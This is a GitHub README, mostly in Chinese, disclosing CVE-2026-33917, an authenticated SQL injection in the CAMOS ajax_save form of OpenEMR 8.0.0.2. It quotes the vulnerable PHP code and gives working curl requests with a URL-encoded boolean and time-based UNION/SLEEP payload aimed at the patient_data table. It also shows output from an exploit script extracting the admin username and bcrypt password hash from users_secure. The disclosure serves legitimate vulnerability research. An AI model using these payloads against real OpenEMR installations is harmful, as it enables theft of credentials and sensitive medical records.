ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0

GitHub: ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0

该项目提供了 OpenEMR 8.0.0.2 版本 CAMOS 模块 SQL 注入漏洞(CVE-2026-33917)的概念验证代码与自动化数据提取脚本。

Stars: 0 | Forks: 0

# CVE-2026-33917 - OpenEMR < 8.0.0.3 中的 SQL 注入漏洞 ### 摘要 OpenEMR 8.0.0.2 的 ajax_save CAMOS 表单中存在一个 SQL 注入漏洞,可被已认证的攻击者利用。该漏洞的存在是因为 CAMOS 表单 ajax_save 页面中的输入验证不足。 ### 详情 该漏洞出现在 ajax_save CAMOS 表单中,用户在 content 参数中提供的输入未经适当清理直接拼接到 SQL 查询中。这允许攻击者注入恶意 SQL 代码。 有 3 个 SQL 语句具有相同的注入、入口点和参数。 该漏洞影响以下文件: - `interface/forms/CAMOS/content_parser.php` 第 [127](https://github.com/openemr/openemr/blob/eae0790863f233bb57076f7941a2ba4450b81544/interface/forms/CAMOS/content_parser.php#L127)、[137](https://github.com/openemr/openemr/blob/eae0790863f233bb57076f7941a2ba4450b81544/interface/forms/CAMOS/content_parser.php#L137) 和 [21](https://github.com/openemr/openemr/blob/eae0790863f233bb57076f7941a2ba4450b81544/interface/forms/CAMOS/content_parser.php#L127) 行 - `interface/forms/CAMOS/content_parser.php` [第 186 行](https://github.com/openemr/openemr/blob/eae0790863f233bb57076f7941a2ba4450b81544/interface/forms/CAMOS/content_parser.php#L186) - `interface/forms/CAMOS/ajax_save.php` [第 28 行](https://github.com/openemr/openemr/blob/eae0790863f233bb57076f7941a2ba4450b81544/interface/forms/CAMOS/ajax_save.php#L28) [ajax_save 页面,使用用户输入调用易受攻击的 process_commands 函数](https://github.com/openemr/openemr/blob/eae0790863f233bb57076f7941a2ba4450b81544/interface/forms/CAMOS/ajax_save.php#L28) ``` $field_names = ['category' => $_POST["category"], 'subcategory' => $_POST["subcategory"], 'item' => $_POST["item"], 'content' => $_POST['content']]; $camos_array = []; process_commands($field_names['content'], $camos_array); ``` [content_parser 模块,实现了易受攻击的函数](https://github.com/openemr/openemr/blob/eae0790863f233bb57076f7941a2ba4450b81544/interface/forms/CAMOS/content_parser.php#L127) ``` function process_commands(&$string_to_process, &$camos_return_data) { ... if (preg_match("/\/\*\s*date_add\s*::\s*(.*?)\s*\*\//", (string) $string_to_process, $matches)) { $to_replace = $matches[0]; $days = $matches[1]; $query = "select date_format(date_add(date, interval " . add_escape_custom($days) . " day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?"; $statement = sqlStatement($query, [$_SESSION['pid'], $_SESSION['encounter']]); if ($result = sqlFetchArray($statement)) { $string_to_process = str_replace($to_replace, $result['date'], $string_to_process); } } if (preg_match("/\/\*\s*date_sub\s*::\s*(.*?)\s*\*\//", (string) $string_to_process, $matches)) { $to_replace = $matches[0]; $days = $matches[1]; $query = "select date_format(date_sub(date, interval " . add_escape_custom($days) . " day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?"; $statement = sqlStatement($query, [$_SESSION['pid'], $_SESSION['encounter']]); if ($result = sqlFetchArray($statement)) { $string_to_process = str_replace($to_replace, $result['date'], $string_to_process); } } ... } ``` [content_parser 模块,调用 addAppt](https://github.com/openemr/openemr/blob/eae0790863f233bb57076f7941a2ba4450b81544/interface/forms/CAMOS/content_parser.php#L186) ``` if (trim($comm_array[0]) == 'appt') { array_shift($comm_array); $days = trim((string) array_shift($comm_array)); $time = trim((string) array_shift($comm_array)); addAppt($days, $time); } ``` [content_parser 模块,addAppt 函数](https://github.com/openemr/openemr/blob/eae0790863f233bb57076f7941a2ba4450b81544/interface/forms/CAMOS/content_parser.php#L18) ``` function addAppt($days, $time) { $sql = "insert into openemr_postcalendar_events (pc_pid, pc_eventDate," . "pc_comments, pc_aid,pc_startTime) values (?, date_add(current_date(), interval " . add_escape_custom($days) . " day),'from CAMOS', ?, ?)"; return sqlInsert($sql, [$_SESSION['pid'], $_SESSION['authUserID'], $time]); } ``` ### PoC ``` ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=f8cee855217b5740619ad53f0879da5b" --data 'csrf_token_form=a7db83759f5b68d1a9c0bb3562c14cbafb6d8f07&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3Ainjection"payload%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php' SQL Statement failed on preparation: select date_format(date_add(date, interval injection\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?'

Query Error

ERROR: query failed: select date_format(date_add(date, interval injection\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ?

Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\"payload day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and ...' at line 1


/var/www/localhost/htdocs/openemr/interface/forms/CAMOS/content_parser.php at 127:sqlStatement
/var/www/localhost/htdocs/openemr/interface/forms/CAMOS/ajax_save.php at 28:process_commands(/*date_add::injection"payload*/,Array) ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
There was an OpenEMR SQL Escaping ERROR of the following string form_CAMOS
┌──(kali㉿kali)-[~] └─$ ``` #### SQL Injection ``` select date_format(date_add(date, interval day),'%W, %m-%d-%Y') as date from form_encounter where pid = ? and encounter = ? ``` #### Exploit 基于布尔值利用的示例: ``` ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20WHERE%201=0%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php' submitted: 1772104393 ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=372430245364b5ee0c46d7d24b5814f6" --data 'csrf_token_form=37fd2f55723113916cfd4ac17ab1fe7d41a5872a&category=&subcategory=&item=&content=%2F%2Adate_add%3A%3A7%20DAY%29%2C%20CHAR%2837%2C87%2C44%2C32%2C37%2C109%2C45%2C37%2C100%2C45%2C37%2C89%29%29%20AS%20date%2C%20SLEEP%285%29%20%20FROM%20patient_data%20WHERE%201=1%20UNION%20SELECT%20SLEEP%281%29%2C%20DATE_FORMAT%28DATE_ADD%28date%2C%20INTERVAL%207%2A%2F' 'http://172.18.0.3/interface/forms/CAMOS/ajax_save.php'
There was an OpenEMR SQL Escaping ERROR of the following string form_CAMOS
┌──(kali㉿kali)-[~] └─$ ``` #### Payload ``` /*date_add::7 DAY), CHAR(37,87,44,32,37,109,45,37,100,45,37,89)) AS date, SLEEP(5) FROM patient_data UNION SELECT SLEEP(1), DATE_FORMAT(DATE_ADD(date, INTERVAL 7*/ ``` #### Data extraction ``` ┌──(kali㉿kali)-[~] └─$ python3 exploit2.py 172.18.0.3 372430245364b5ee0c46d7d24b5814f6 37fd2f55723113916cfd4ac17ab1fe7d41a5872a users_secure --columns username password password_history1 password_history2 password_history3 password_history4 [#] Row count for table: users_secure 1 [#] String length: users_secure.username 0 5 [>] Character recovered: a [>] Character recovered: d [>] Character recovered: m [>] Character recovered: i [>] Character recovered: n [+] Extracted string: ascii users_secure username 0 admin [#] String length: users_secure.password 0 60 [>] Character recovered: $ [>] Character recovered: 2 [>] Character recovered: y [>] Character recovered: $ [>] Character recovered: 1 [>] Character recovered: 2 [>] Character recovered: $ [>] Character recovered: g [>] Character recovered: 4 [>] Character recovered: T [>] Character recovered: y [>] Character recovered: s [>] Character recovered: 1 [>] Character recovered: l [>] Character recovered: x [>] Character recovered: A [>] Character recovered: f [>] Character recovered: t [>] Character recovered: B [>] Character recovered: I [>] Character recovered: u [>] Character recovered: x [>] Character recovered: y [>] Character recovered: w [>] Character recovered: o [>] Character recovered: 5 [>] Character recovered: L [>] Character recovered: z [>] Character recovered: e [>] Character recovered: V [>] Character recovered: 7 [>] Character recovered: W [>] Character recovered: 7 [>] Character recovered: a [>] Character recovered: L [>] Character recovered: B [>] Character recovered: z [>] Character recovered: O [>] Character recovered: X [>] Character recovered: g [>] Character recovered: a [>] Character recovered: C [>] Character recovered: g [>] Character recovered: U [>] Character recovered: e [>] Character recovered: v [>] Character recovered: Z [>] Character recovered: x [>] Character recovered: A [>] Character recovered: Y [>] Character recovered: Q [>] Character recovered: a [>] Character recovered: X [>] Character recovered: 0 [>] Character recovered: c [>] Character recovered: y [>] Character recovered: c [>] Character recovered: 2 [>] Character recovered: i [>] Character recovered: O [+] Extracted string: ascii users_secure password 0 $2y$12$g4Tys1lxAftBIuxywo5LzeV7W7aLBzOXgaCgUevZxAYQaX0cyc2iO [#] String length: users_secure.password_history1 0 0 [#] String length: users_secure.password_history2 0 0 [#] String length: users_secure.password_history3 0 0 [#] String length: users_secure.password_history4 0 0 ┌──(kali㉿kali)-[~] └─$ ``` ### 影响 - 未授权访问数据库信息 - 敏感医疗信息的潜在泄露 - 服务器端代码执行(在某些情况下) - 数据库受损 ## 链接 https://www.cve.org/CVERecord?id=CVE-2026-33917 ## 许可证 本项目采用 MIT 许可证授权 – 详情请参阅 LICENSE 文件。 请引用我们的论文:[https://github.com/ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0](https://github.com/ChrisSub08/CVE-2026-33917_SqlInjectionVulnerabilityOpenEMR8.0.0)
标签:0day, CAMOS插件, CISA项目, CVE-2026-33917, OpenEMR, OpenVAS, PHP, Web安全, 医疗信息系统, 安全漏洞, 电子病历, 蓝队分析, 认证后攻击, 输入验证缺失, 逆向工具